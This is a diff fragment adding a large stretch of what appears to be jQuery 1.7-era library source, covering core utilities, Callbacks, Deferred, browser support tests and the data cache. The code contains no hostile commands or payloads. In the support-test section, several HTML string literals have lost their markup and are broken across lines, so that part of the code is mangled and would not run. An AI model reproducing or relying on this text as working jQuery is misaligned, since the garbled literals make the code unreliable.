"load", jQuery.ready, false ); + + // If IE event model is used + } else if ( document.attachEvent ) { + // ensure firing before onload, + // maybe late but safe also for iframes + document.attachEvent( "onreadystatechange", DOMContentLoaded ); + + // A fallback to window.onload, that will always work + window.attachEvent( "onload", jQuery.ready ); + + // If IE and not a frame + // continually check to see if the document is ready + var toplevel = false; + + try { + toplevel = window.frameElement == null; + } catch(e) {} + + if ( document.documentElement.doScroll && toplevel ) { + doScrollCheck(); + } + } + }, + + // See test/unit/core.js for details concerning isFunction. + // Since version 1.3, DOM methods and functions like alert + // aren't supported. They return false on IE (#2968). + isFunction: function( obj ) { + return jQuery.type(obj) === "function"; + }, + + isArray: Array.isArray || function( obj ) { + return jQuery.type(obj) === "array"; + }, + + // A crude way of determining if an object is a window + isWindow: function( obj ) { + return obj && typeof obj === "object" && "setInterval" in obj; + }, + + isNumeric: function( obj ) { + return !isNaN( parseFloat(obj) ) && isFinite( obj ); + }, + + type: function( obj ) { + return obj == null ? + String( obj ) : + class2type[ toString.call(obj) ] || "object"; + }, + + isPlainObject: function( obj ) { + // Must be an Object. + // Because of IE, we also have to check the presence of the constructor property. + // Make sure that DOM nodes and window objects don't pass through, as well + if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { + return false; + } + + try { + // Not own constructor property must be Object + if ( obj.constructor && + !hasOwn.call(obj, "constructor") && + !hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) { + return false; + } + } catch ( e ) { + // IE8,9 Will throw exceptions on certain host objects #9897 + return false; + } + + // Own properties are enumerated firstly, so to speed up, + // if last one is own, then all properties are own. + + var key; + for ( key in obj ) {} + + return key === undefined || hasOwn.call( obj, key ); + }, + + isEmptyObject: function( obj ) { + for ( var name in obj ) { + return false; + } + return true; + }, + + error: function( msg ) { + throw new Error( msg ); + }, + + parseJSON: function( data ) { + if ( typeof data !== "string" || !data ) { + return null; + } + + // Make sure leading/trailing whitespace is removed (IE can't handle it) + data = jQuery.trim( data ); + + // Attempt to parse using the native JSON parser first + if ( window.JSON && window.JSON.parse ) { + return window.JSON.parse( data ); + } + + // Make sure the incoming data is actual JSON + // Logic borrowed from http://json.org/json2.js + if ( rvalidchars.test( data.replace( rvalidescape, "@" ) + .replace( rvalidtokens, "]" ) + .replace( rvalidbraces, "")) ) { + + return ( new Function( "return " + data ) )(); + + } + jQuery.error( "Invalid JSON: " + data ); + }, + + // Cross-browser xml parsing + parseXML: function( data ) { + var xml, tmp; + try { + if ( window.DOMParser ) { // Standard + tmp = new DOMParser(); + xml = tmp.parseFromString( data , "text/xml" ); + } else { // IE + xml = new ActiveXObject( "Microsoft.XMLDOM" ); + xml.async = "false"; + xml.loadXML( data ); + } + } catch( e ) { + xml = undefined; + } + if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) { + jQuery.error( "Invalid XML: " + data ); + } + return xml; + }, + + noop: function() {}, + + // Evaluates a script in a global context + // Workarounds based on findings by Jim Driscoll + // http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context + globalEval: function( data ) { + if ( data && rnotwhite.test( data ) ) { + // We use execScript on Internet Explorer + // We use an anonymous function so that context is window + // rather than jQuery in Firefox + ( window.execScript || function( data ) { + window[ "eval" ].call( window, data ); + } )( data ); + } + }, + + // Convert dashed to camelCase; used by the css and data modules + // Microsoft forgot to hump their vendor prefix (#9572) + camelCase: function( string ) { + return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); + }, + + nodeName: function( elem, name ) { + return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase(); + }, + + // args is for internal usage only + each: function( object, callback, args ) { + var name, i = 0, + length = object.length, + isObj = length === undefined || jQuery.isFunction( object ); + + if ( args ) { + if ( isObj ) { + for ( name in object ) { + if ( callback.apply( object[ name ], args ) === false ) { + break; + } + } + } else { + for ( ; i < length; ) { + if ( callback.apply( object[ i++ ], args ) === false ) { + break; + } + } + } + + // A special, fast, case for the most common use of each + } else { + if ( isObj ) { + for ( name in object ) { + if ( callback.call( object[ name ], name, object[ name ] ) === false ) { + break; + } + } + } else { + for ( ; i < length; ) { + if ( callback.call( object[ i ], i, object[ i++ ] ) === false ) { + break; + } + } + } + } + + return object; + }, + + // Use native String.trim function wherever possible + trim: trim ? + function( text ) { + return text == null ? + "" : + trim.call( text ); + } : + + // Otherwise use our own trimming functionality + function( text ) { + return text == null ? + "" : + text.toString().replace( trimLeft, "" ).replace( trimRight, "" ); + }, + + // results is for internal usage only + makeArray: function( array, results ) { + var ret = results || []; + + if ( array != null ) { + // The window, strings (and functions) also have 'length' + // Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930 + var type = jQuery.type( array ); + + if ( array.length == null || type === "string" || type === "function" || type === "regexp" || jQuery.isWindow( array ) ) { + push.call( ret, array ); + } else { + jQuery.merge( ret, array ); + } + } + + return ret; + }, + + inArray: function( elem, array, i ) { + var len; + + if ( array ) { + if ( indexOf ) { + return indexOf.call( array, elem, i ); + } + + len = array.length; + i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0; + + for ( ; i < len; i++ ) { + // Skip accessing in sparse arrays + if ( i in array && array[ i ] === elem ) { + return i; + } + } + } + + return -1; + }, + + merge: function( first, second ) { + var i = first.length, + j = 0; + + if ( typeof second.length === "number" ) { + for ( var l = second.length; j < l; j++ ) { + first[ i++ ] = second[ j ]; + } + + } else { + while ( second[j] !== undefined ) { + first[ i++ ] = second[ j++ ]; + } + } + + first.length = i; + + return first; + }, + + grep: function( elems, callback, inv ) { + var ret = [], retVal; + inv = !!inv; + + // Go through the array, only saving the items + // that pass the validator function + for ( var i = 0, length = elems.length; i < length; i++ ) { + retVal = !!callback( elems[ i ], i ); + if ( inv !== retVal ) { + ret.push( elems[ i ] ); + } + } + + return ret; + }, + + // arg is for internal usage only + map: function( elems, callback, arg ) { + var value, key, ret = [], + i = 0, + length = elems.length, + // jquery objects are treated as arrays + isArray = elems instanceof jQuery || length !== undefined && typeof length === "number" && ( ( length > 0 && elems[ 0 ] && elems[ length -1 ] ) || length === 0 || jQuery.isArray( elems ) ) ; + + // Go through the array, translating each of the items to their + if ( isArray ) { + for ( ; i < length; i++ ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + + // Go through every key on the object, + } else { + for ( key in elems ) { + value = callback( elems[ key ], key, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + } + + // Flatten any nested arrays + return ret.concat.apply( [], ret ); + }, + + // A global GUID counter for objects + guid: 1, + + // Bind a function to a context, optionally partially applying any + // arguments. + proxy: function( fn, context ) { + if ( typeof context === "string" ) { + var tmp = fn[ context ]; + context = fn; + fn = tmp; + } + + // Quick check to determine if target is callable, in the spec + // this throws a TypeError, but we will just return undefined. + if ( !jQuery.isFunction( fn ) ) { + return undefined; + } + + // Simulated bind + var args = slice.call( arguments, 2 ), + proxy = function() { + return fn.apply( context, args.concat( slice.call( arguments ) ) ); + }; + + // Set the guid of unique handler to the same of original handler, so it can be removed + proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++; + + return proxy; + }, + + // Mutifunctional method to get and set values to a collection + // The value/s can optionally be executed if it's a function + access: function( elems, key, value, exec, fn, pass ) { + var length = elems.length; + + // Setting many attributes + if ( typeof key === "object" ) { + for ( var k in key ) { + jQuery.access( elems, k, key[k], exec, fn, value ); + } + return elems; + } + + // Setting one attribute + if ( value !== undefined ) { + // Optionally, function values get executed if exec is true + exec = !pass && exec && jQuery.isFunction(value); + + for ( var i = 0; i < length; i++ ) { + fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass ); + } + + return elems; + } + + // Getting an attribute + return length ? fn( elems[0], key ) : undefined; + }, + + now: function() { + return ( new Date() ).getTime(); + }, + + // Use of jQuery.browser is frowned upon. + // More details: http://docs.jquery.com/Utilities/jQuery.browser + uaMatch: function( ua ) { + ua = ua.toLowerCase(); + + var match = rwebkit.exec( ua ) || + ropera.exec( ua ) || + rmsie.exec( ua ) || + ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || + []; + + return { browser: match[1] || "", version: match[2] || "0" }; + }, + + sub: function() { + function jQuerySub( selector, context ) { + return new jQuerySub.fn.init( selector, context ); + } + jQuery.extend( true, jQuerySub, this ); + jQuerySub.superclass = this; + jQuerySub.fn = jQuerySub.prototype = this(); + jQuerySub.fn.constructor = jQuerySub; + jQuerySub.sub = this.sub; + jQuerySub.fn.init = function init( selector, context ) { + if ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) { + context = jQuerySub( context ); + } + + return jQuery.fn.init.call( this, selector, context, rootjQuerySub ); + }; + jQuerySub.fn.init.prototype = jQuerySub.fn; + var rootjQuerySub = jQuerySub(document); + return jQuerySub; + }, + + browser: {} +}); + +// Populate the class2type map +jQuery.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(i, name) { + class2type[ "[object " + name + "]" ] = name.toLowerCase(); +}); + +browserMatch = jQuery.uaMatch( userAgent ); +if ( browserMatch.browser ) { + jQuery.browser[ browserMatch.browser ] = true; + jQuery.browser.version = browserMatch.version; +} + +// Deprecated, use jQuery.browser.webkit instead +if ( jQuery.browser.webkit ) { + jQuery.browser.safari = true; +} + +// IE doesn't match non-breaking spaces with \s +if ( rnotwhite.test( "\xA0" ) ) { + trimLeft = /^[\s\xA0]+/; + trimRight = /[\s\xA0]+$/; +} + +// All jQuery objects should point back to these +rootjQuery = jQuery(document); + +// Cleanup functions for the document ready method +if ( document.addEventListener ) { + DOMContentLoaded = function() { + document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + jQuery.ready(); + }; + +} else if ( document.attachEvent ) { + DOMContentLoaded = function() { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( document.readyState === "complete" ) { + document.detachEvent( "onreadystatechange", DOMContentLoaded ); + jQuery.ready(); + } + }; +} + +// The DOM ready check for Internet Explorer +function doScrollCheck() { + if ( jQuery.isReady ) { + return; + } + + try { + // If IE is used, use the trick by Diego Perini + // http://javascript.nwbox.com/IEContentLoaded/ + document.documentElement.doScroll("left"); + } catch(e) { + setTimeout( doScrollCheck, 1 ); + return; + } + + // and execute any waiting functions + jQuery.ready(); +} + +return jQuery; + +})(); + + +// String to Object flags format cache +var flagsCache = {}; + +// Convert String-formatted flags into Object-formatted ones and store in cache +function createFlags( flags ) { + var object = flagsCache[ flags ] = {}, + i, length; + flags = flags.split( /\s+/ ); + for ( i = 0, length = flags.length; i < length; i++ ) { + object[ flags[i] ] = true; + } + return object; +} + +/* + * Create a callback list using the following parameters: + * + * flags: an optional list of space-separated flags that will change how + * the callback list behaves + * + * By default a callback list will act like an event callback list and can be + * "fired" multiple times. + * + * Possible flags: + * + * once: will ensure the callback list can only be fired once (like a Deferred) + * + * memory: will keep track of previous values and will call any callback added + * after the list has been fired right away with the latest "memorized" + * values (like a Deferred) + * + * unique: will ensure a callback can only be added once (no duplicate in the list) + * + * stopOnFalse: interrupt callings when a callback returns false + * + */ +jQuery.Callbacks = function( flags ) { + + // Convert flags from String-formatted to Object-formatted + // (we check in cache first) + flags = flags ? ( flagsCache[ flags ] || createFlags( flags ) ) : {}; + + var // Actual callback list + list = [], + // Stack of fire calls for repeatable lists + stack = [], + // Last fire value (for non-forgettable lists) + memory, + // Flag to know if list is currently firing + firing, + // First callback to fire (used internally by add and fireWith) + firingStart, + // End of the loop when firing + firingLength, + // Index of currently firing callback (modified by remove if needed) + firingIndex, + // Add one or several callbacks to the list + add = function( args ) { + var i, + length, + elem, + type, + actual; + for ( i = 0, length = args.length; i < length; i++ ) { + elem = args[ i ]; + type = jQuery.type( elem ); + if ( type === "array" ) { + // Inspect recursively + add( elem ); + } else if ( type === "function" ) { + // Add if not in unique mode and callback is not in + if ( !flags.unique || !self.has( elem ) ) { + list.push( elem ); + } + } + } + }, + // Fire callbacks + fire = function( context, args ) { + args = args || []; + memory = !flags.memory || [ context, args ]; + firing = true; + firingIndex = firingStart || 0; + firingStart = 0; + firingLength = list.length; + for ( ; list && firingIndex < firingLength; firingIndex++ ) { + if ( list[ firingIndex ].apply( context, args ) === false && flags.stopOnFalse ) { + memory = true; // Mark as halted + break; + } + } + firing = false; + if ( list ) { + if ( !flags.once ) { + if ( stack && stack.length ) { + memory = stack.shift(); + self.fireWith( memory[ 0 ], memory[ 1 ] ); + } + } else if ( memory === true ) { + self.disable(); + } else { + list = []; + } + } + }, + // Actual Callbacks object + self = { + // Add a callback or a collection of callbacks to the list + add: function() { + if ( list ) { + var length = list.length; + add( arguments ); + // Do we need to add the callbacks to the + // current firing batch? + if ( firing ) { + firingLength = list.length; + // With memory, if we're not firing then + // we should call right away, unless previous + // firing was halted (stopOnFalse) + } else if ( memory && memory !== true ) { + firingStart = length; + fire( memory[ 0 ], memory[ 1 ] ); + } + } + return this; + }, + // Remove a callback from the list + remove: function() { + if ( list ) { + var args = arguments, + argIndex = 0, + argLength = args.length; + for ( ; argIndex < argLength ; argIndex++ ) { + for ( var i = 0; i < list.length; i++ ) { + if ( args[ argIndex ] === list[ i ] ) { + // Handle firingIndex and firingLength + if ( firing ) { + if ( i <= firingLength ) { + firingLength--; + if ( i <= firingIndex ) { + firingIndex--; + } + } + } + // Remove the element + list.splice( i--, 1 ); + // If we have some unicity property then + // we only need to do this once + if ( flags.unique ) { + break; + } + } + } + } + } + return this; + }, + // Control if a given callback is in the list + has: function( fn ) { + if ( list ) { + var i = 0, + length = list.length; + for ( ; i < length; i++ ) { + if ( fn === list[ i ] ) { + return true; + } + } + } + return false; + }, + // Remove all callbacks from the list + empty: function() { + list = []; + return this; + }, + // Have the list do nothing anymore + disable: function() { + list = stack = memory = undefined; + return this; + }, + // Is it disabled? + disabled: function() { + return !list; + }, + // Lock the list in its current state + lock: function() { + stack = undefined; + if ( !memory || memory === true ) { + self.disable(); + } + return this; + }, + // Is it locked? + locked: function() { + return !stack; + }, + // Call all callbacks with the given context and arguments + fireWith: function( context, args ) { + if ( stack ) { + if ( firing ) { + if ( !flags.once ) { + stack.push( [ context, args ] ); + } + } else if ( !( flags.once && memory ) ) { + fire( context, args ); + } + } + return this; + }, + // Call all the callbacks with the given arguments + fire: function() { + self.fireWith( this, arguments ); + return this; + }, + // To know if the callbacks have already been called at least once + fired: function() { + return !!memory; + } + }; + + return self; +}; + + + + +var // Static reference to slice + sliceDeferred = [].slice; + +jQuery.extend({ + + Deferred: function( func ) { + var doneList = jQuery.Callbacks( "once memory" ), + failList = jQuery.Callbacks( "once memory" ), + progressList = jQuery.Callbacks( "memory" ), + state = "pending", + lists = { + resolve: doneList, + reject: failList, + notify: progressList + }, + promise = { + done: doneList.add, + fail: failList.add, + progress: progressList.add, + + state: function() { + return state; + }, + + // Deprecated + isResolved: doneList.fired, + isRejected: failList.fired, + + then: function( doneCallbacks, failCallbacks, progressCallbacks ) { + deferred.done( doneCallbacks ).fail( failCallbacks ).progress( progressCallbacks ); + return this; + }, + always: function() { + deferred.done.apply( deferred, arguments ).fail.apply( deferred, arguments ); + return this; + }, + pipe: function( fnDone, fnFail, fnProgress ) { + return jQuery.Deferred(function( newDefer ) { + jQuery.each( { + done: [ fnDone, "resolve" ], + fail: [ fnFail, "reject" ], + progress: [ fnProgress, "notify" ] + }, function( handler, data ) { + var fn = data[ 0 ], + action = data[ 1 ], + returned; + if ( jQuery.isFunction( fn ) ) { + deferred[ handler ](function() { + returned = fn.apply( this, arguments ); + if ( returned && jQuery.isFunction( returned.promise ) ) { + returned.promise().then( newDefer.resolve, newDefer.reject, newDefer.notify ); + } else { + newDefer[ action + "With" ]( this === deferred ? newDefer : this, [ returned ] ); + } + }); + } else { + deferred[ handler ]( newDefer[ action ] ); + } + }); + }).promise(); + }, + // Get a promise for this deferred + // If obj is provided, the promise aspect is added to the object + promise: function( obj ) { + if ( obj == null ) { + obj = promise; + } else { + for ( var key in promise ) { + obj[ key ] = promise[ key ]; + } + } + return obj; + } + }, + deferred = promise.promise({}), + key; + + for ( key in lists ) { + deferred[ key ] = lists[ key ].fire; + deferred[ key + "With" ] = lists[ key ].fireWith; + } + + // Handle state + deferred.done( function() { + state = "resolved"; + }, failList.disable, progressList.lock ).fail( function() { + state = "rejected"; + }, doneList.disable, progressList.lock ); + + // Call given func if any + if ( func ) { + func.call( deferred, deferred ); + } + + // All done! + return deferred; + }, + + // Deferred helper + when: function( firstParam ) { + var args = sliceDeferred.call( arguments, 0 ), + i = 0, + length = args.length, + pValues = new Array( length ), + count = length, + pCount = length, + deferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ? + firstParam : + jQuery.Deferred(), + promise = deferred.promise(); + function resolveFunc( i ) { + return function( value ) { + args[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value; + if ( !( --count ) ) { + deferred.resolveWith( deferred, args ); + } + }; + } + function progressFunc( i ) { + return function( value ) { + pValues[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value; + deferred.notifyWith( promise, pValues ); + }; + } + if ( length > 1 ) { + for ( ; i < length; i++ ) { + if ( args[ i ] && args[ i ].promise && jQuery.isFunction( args[ i ].promise ) ) { + args[ i ].promise().then( resolveFunc(i), deferred.reject, progressFunc(i) ); + } else { + --count; + } + } + if ( !count ) { + deferred.resolveWith( deferred, args ); + } + } else if ( deferred !== firstParam ) { + deferred.resolveWith( deferred, length ? [ firstParam ] : [] ); + } + return promise; + } +}); + + + + +jQuery.support = (function() { + + var support, + all, + a, + select, + opt, + input, + marginDiv, + fragment, + tds, + events, + eventName, + i, + isSupported, + div = document.createElement( "div" ), + documentElement = document.documentElement; + + // Preliminary tests + div.setAttribute("className", "t"); + div.innerHTML = "
a"; + + all = div.getElementsByTagName( "*" ); + a = div.getElementsByTagName( "a" )[ 0 ]; + + // Can't get basic test support + if ( !all || !all.length || !a ) { + return {}; + } + + // First batch of supports tests + select = document.createElement( "select" ); + opt = select.appendChild( document.createElement("option") ); + input = div.getElementsByTagName( "input" )[ 0 ]; + + support = { + // IE strips leading whitespace when .innerHTML is used + leadingWhitespace: ( div.firstChild.nodeType === 3 ), + + // Make sure that tbody elements aren't automatically inserted + // IE will insert them into empty tables + tbody: !div.getElementsByTagName("tbody").length, + + // Make sure that link elements get serialized correctly by innerHTML + // This requires a wrapper element in IE + htmlSerialize: !!div.getElementsByTagName("link").length, + + // Get the style information from getAttribute + // (IE uses .cssText instead) + style: /top/.test( a.getAttribute("style") ), + + // Make sure that URLs aren't manipulated + // (IE normalizes it by default) + hrefNormalized: ( a.getAttribute("href") === "/a" ), + + // Make sure that element opacity exists + // (IE uses filter instead) + // Use a regex to work around a WebKit issue. See #5145 + opacity: /^0.55/.test( a.style.opacity ), + + // Verify style float existence + // (IE uses styleFloat instead of cssFloat) + cssFloat: !!a.style.cssFloat, + + // Make sure that if no value is specified for a checkbox + // that it defaults to "on". + // (WebKit defaults to "" instead) + checkOn: ( input.value === "on" ), + + // Make sure that a selected-by-default option has a working selected property. + // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) + optSelected: opt.selected, + + // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7) + getSetAttribute: div.className !== "t", + + // Tests for enctype support on a form(#6743) + enctype: !!document.createElement("form").enctype, + + // Makes sure cloning an html5 element does not cause problems + // Where outerHTML is undefined, this still works + html5Clone: document.createElement("nav").cloneNode( true ).outerHTML !== "<:nav>", + + // Will be defined later + submitBubbles: true, + changeBubbles: true, + focusinBubbles: false, + deleteExpando: true, + noCloneEvent: true, + inlineBlockNeedsLayout: false, + shrinkWrapBlocks: false, + reliableMarginRight: true + }; + + // Make sure checked status is properly cloned + input.checked = true; + support.noCloneChecked = input.cloneNode( true ).checked; + + // Make sure that the options inside disabled selects aren't marked as disabled + // (WebKit marks them as disabled) + select.disabled = true; + support.optDisabled = !opt.disabled; + + // Test to see if it's possible to delete an expando from an element + // Fails in Internet Explorer + try { + delete div.test; + } catch( e ) { + support.deleteExpando = false; + } + + if ( !div.addEventListener && div.attachEvent && div.fireEvent ) { + div.attachEvent( "onclick", function() { + // Cloning a node shouldn't copy over any + // bound event handlers (IE does this) + support.noCloneEvent = false; + }); + div.cloneNode( true ).fireEvent( "onclick" ); + } + + // Check if a radio maintains its value + // after being appended to the DOM + input = document.createElement("input"); + input.value = "t"; + input.setAttribute("type", "radio"); + support.radioValue = input.value === "t"; + + input.setAttribute("checked", "checked"); + div.appendChild( input ); + fragment = document.createDocumentFragment(); + fragment.appendChild( div.lastChild ); + + // WebKit doesn't clone checked state correctly in fragments + support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked; + + // Check if a disconnected checkbox will retain its checked + // value of true after appended to the DOM (IE6/7) + support.appendChecked = input.checked; + + fragment.removeChild( input ); + fragment.appendChild( div ); + + div.innerHTML = ""; + + // Check if div with explicit width and no margin-right incorrectly + // gets computed margin-right based on width of container. For more + // info see bug #3333 + // Fails in WebKit before Feb 2011 nightlies + // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right + if ( window.getComputedStyle ) { + marginDiv = document.createElement( "div" ); + marginDiv.style.width = "0"; + marginDiv.style.marginRight = "0"; + div.style.width = "2px"; + div.appendChild( marginDiv ); + support.reliableMarginRight = + ( parseInt( ( window.getComputedStyle( marginDiv, null ) || { marginRight: 0 } ).marginRight, 10 ) || 0 ) === 0; + } + + // Technique from Juriy Zaytsev + // http://perfectionkills.com/detecting-event-support-without-browser-sniffing/ + // We only care about the case where non-standard event systems + // are used, namely in IE. Short-circuiting here helps us to + // avoid an eval call (in setAttribute) which can cause CSP + // to go haywire. See: https://developer.mozilla.org/en/Security/CSP + if ( div.attachEvent ) { + for( i in { + submit: 1, + change: 1, + focusin: 1 + }) { + eventName = "on" + i; + isSupported = ( eventName in div ); + if ( !isSupported ) { + div.setAttribute( eventName, "return;" ); + isSupported = ( typeof div[ eventName ] === "function" ); + } + support[ i + "Bubbles" ] = isSupported; + } + } + + fragment.removeChild( div ); + + // Null elements to avoid leaks in IE + fragment = select = opt = marginDiv = div = input = null; + + // Run tests that need a body at doc ready + jQuery(function() { + var container, outer, inner, table, td, offsetSupport, + conMarginTop, ptlm, vb, style, html, + body = document.getElementsByTagName("body")[0]; + + if ( !body ) { + // Return for frameset docs that don't have a body + return; + } + + conMarginTop = 1; + ptlm = "position:absolute;top:0;left:0;width:1px;height:1px;margin:0;"; + vb = "visibility:hidden;border:0;"; + style = "style='" + ptlm + "border:5px solid #000;padding:0;'"; + html = "
" + + "" + + "
"; + + container = document.createElement("div"); + container.style.cssText = vb + "width:0;height:0;position:static;top:0;margin-top:" + conMarginTop + "px"; + body.insertBefore( container, body.firstChild ); + + // Construct the test element + div = document.createElement("div"); + container.appendChild( div ); + + // Check if table cells still have offsetWidth/Height when they are set + // to display:none and there are still other visible table cells in a + // table row; if so, offsetWidth/Height are not reliable for use when + // determining if an element has been hidden directly using + // display:none (it is still safe to use offsets if a parent element is + // hidden; don safety goggles and see bug #4512 for more information). + // (only IE 8 fails this test) + div.innerHTML = "
t
"; + tds = div.getElementsByTagName( "td" ); + isSupported = ( tds[ 0 ].offsetHeight === 0 ); + + tds[ 0 ].style.display = ""; + tds[ 1 ].style.display = "none"; + + // Check if empty table cells still have offsetWidth/Height + // (IE <= 8 fail this test) + support.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 ); + + // Figure out if the W3C box model works as expected + div.innerHTML = ""; + div.style.width = div.style.paddingLeft = "1px"; + jQuery.boxModel = support.boxModel = div.offsetWidth === 2; + + if ( typeof div.style.zoom !== "undefined" ) { + // Check if natively block-level elements act like inline-block + // elements when setting their display to 'inline' and giving + // them layout + // (IE < 8 does this) + div.style.display = "inline"; + div.style.zoom = 1; + support.inlineBlockNeedsLayout = ( div.offsetWidth === 2 ); + + // Check if elements with layout shrink-wrap their children + // (IE 6 does this) + div.style.display = ""; + div.innerHTML = "
"; + support.shrinkWrapBlocks = ( div.offsetWidth !== 2 ); + } + + div.style.cssText = ptlm + vb; + div.innerHTML = html; + + outer = div.firstChild; + inner = outer.firstChild; + td = outer.nextSibling.firstChild.firstChild; + + offsetSupport = { + doesNotAddBorder: ( inner.offsetTop !== 5 ), + doesAddBorderForTableAndCells: ( td.offsetTop === 5 ) + }; + + inner.style.position = "fixed"; + inner.style.top = "20px"; + + // safari subtracts parent border width here which is 5px + offsetSupport.fixedPosition = ( inner.offsetTop === 20 || inner.offsetTop === 15 ); + inner.style.position = inner.style.top = ""; + + outer.style.overflow = "hidden"; + outer.style.position = "relative"; + + offsetSupport.subtractsBorderForOverflowNotVisible = ( inner.offsetTop === -5 ); + offsetSupport.doesNotIncludeMarginInBodyOffset = ( body.offsetTop !== conMarginTop ); + + body.removeChild( container ); + div = container = null; + + jQuery.extend( support, offsetSupport ); + }); + + return support; +})(); + + + + +var rbrace = /^(?:\{.*\}|\[.*\])$/, + rmultiDash = /([A-Z])/g; + +jQuery.extend({ + cache: {}, + + // Please use with caution + uuid: 0, + + // Unique for each copy of jQuery on the page + // Non-digits removed to match rinlinejQuery + expando: "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" ), + + // The following elements throw uncatchable exceptions if you + // attempt to add expando properties to them. + noData: { + "embed": true, + // Ban all objects except for Flash (which handle expandos) + "object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000", + "applet": true + }, + + hasData: function( elem ) { + elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ]; + return !!elem && !isEmptyDataObject( elem ); + }, + + data: function( elem, name, data, pvt /* Internal Use Only */ ) { + if ( !jQuery.acceptData( elem ) ) { + return; + } + + var privateCache, thisCache, ret, + internalKey = jQuery.expando, + getByName = typeof name === "string", + + // We have to handle DOM nodes and JS objects differently because IE6-7 + // can't GC object references properly across the DOM-JS boundary + isNode = elem.nodeType, + + // Only DOM nodes need the global jQuery cache; JS object data is + // attached directly to the object so GC can occur automatically + cache = isNode ? jQuery.cache : elem, + + // Only defining an ID for JS objects if its cache already exists allows + // the code to shortcut on the same path as a DOM node with no cache + id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey, + isEvents = name === "events"; + + // Avoid doing any more work than we need to when trying to get data on an + // object that has no data at all + if ( (!id || !cache[id] || (!isEvents && !pvt && !cache[id].data)) && getByName && data === undefined ) { + return; + } + + if ( !id ) { + // Only DOM nodes need a new unique ID for each element since their data + // ends up in the global cache + if ( isNode ) { + elem[ internalKey ] = id = ++jQuery.uuid; + } else { + id = internalKey; + } + } + + if ( !cache[ id ] ) { + cache[ id ] = {}; + + // Avoids exposing jQuery metadata on plain JS objects when the object + // is serialized using JSON.stringify + if ( !isNode ) { + cache[ id ].toJSON = jQuery.noop; + } + } + + // An object can be passed to jQuery.data instead of a key/value pair; this gets + // shallow copied over onto the existing cache + if ( typeof name === "object" || typeof name === "function" ) { + if ( pvt ) { + cache[ id ] = jQuery.extend( cache[ id ], name ); + } else { + cache[ id ].data = jQuery.extend( cache[ id ].data, name ); + } + } + + privateCache = thisCache = cache[ id ]; + + // jQuery data() is stored in a separate object inside the object's internal data + // cache in order to avoid key collisions between internal data and user-defined + // data. + if ( !pvt ) { + if ( !thisCache.data ) { + thisCache.data = {}; + } + + thisCache = thisCache.data; + } + + if ( data !== undefined ) { + thisCache[ jQuery.camelCase( name ) ] = data; + } + + // Users should not attempt to inspect the internal events object using jQuery.data, + // it is undocumented and subject to change. But does anyone listen? No. + if ( isEvents && !thisCache[ name ] ) { + return privateCache.events; + } + + // Check for both converted-to-camel and non-converted data property names + // If a data property was specified + if ( getByName ) { + + // First Try to find as-is property data + ret = thisCache[ name ]; + + // Test for null|undefined property data + if ( ret == null ) { + + // Try to find the camelCased property + ret = thisCache[ jQuery.camelCase( name ) ]; + } + } else { + ret = thisCache; + } + + return ret; + }, + + removeData: function( elem, name, pvt /* Internal Use Only */ ) { + if ( !jQuery.acceptData( elem ) ) { + return; + } + + var thisCache, i, l, + + // Reference to internal data cache key + internalKey = jQuery.expando, + + isNode = elem.nodeType, + + // See jQuery.data for more information + cache = isNode ? jQuery.cache : elem, + + // See jQuery.data for more information + id = isNode ? elem[ internalKey ] : internalKey; + + // If there is already no cache entry for this object, there is no + // purpose in continuing + if ( !cache[ id ] ) { + return; + } + + if ( name ) { + + thisCache = pvt ? cache[ id ] : cache[ id ].data; + + if ( thisCache ) { + + // Support array or space separated string names for data keys + if ( !jQuery.isArray( name ) ) { + + // try the string as a key before any manipulation + if ( name in thisCache ) { + name = [ name ]; + } else { + + // split the camel cased version by spaces unless a key with the spaces exists + name = jQuery.camelCase( name ); + if ( name in thisCache ) { + name = [ name ]; + } else { + name = name.split( " " ); + } + } + } + + for ( i = 0, l = name.length; i < l; i++ ) { + delete thisCache[ name[i] ]; + } + + // If there is no data left in the cache, we want to continue + // and let the cache object itself get destroyed + if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) { + return; + } + } + } + + // See jQuery.data for more information + if ( !pvt ) { + delete cache[ id ].data; + + // Don't destroy the parent cache unless the internal data object + // had been the only thing left in it + if ( !isEmptyDataObject(cache[ id ]) ) { + return; + } + } + + // Browsers that fail expando deletion also refuse to delete expandos on + // the window, but it will allow it on all other JS objects; other browsers + // don't care + // Ensure that `cache` is not a window object #10080 + if ( jQuery.support.deleteExpando || !cache.setInterval ) { + delete cache[ id ]; + } else { + cache[ id ] = null; + } + + // We destroyed the cache and need to eliminate the expando on the node to avoid + // false lookups in the cache for entries that no longer exist + if ( isNode ) { + // IE does not allow us to delete expando properties from nodes, + // nor does it have a removeAttribute function on Document nodes; + // we must handle all of these cases + if ( 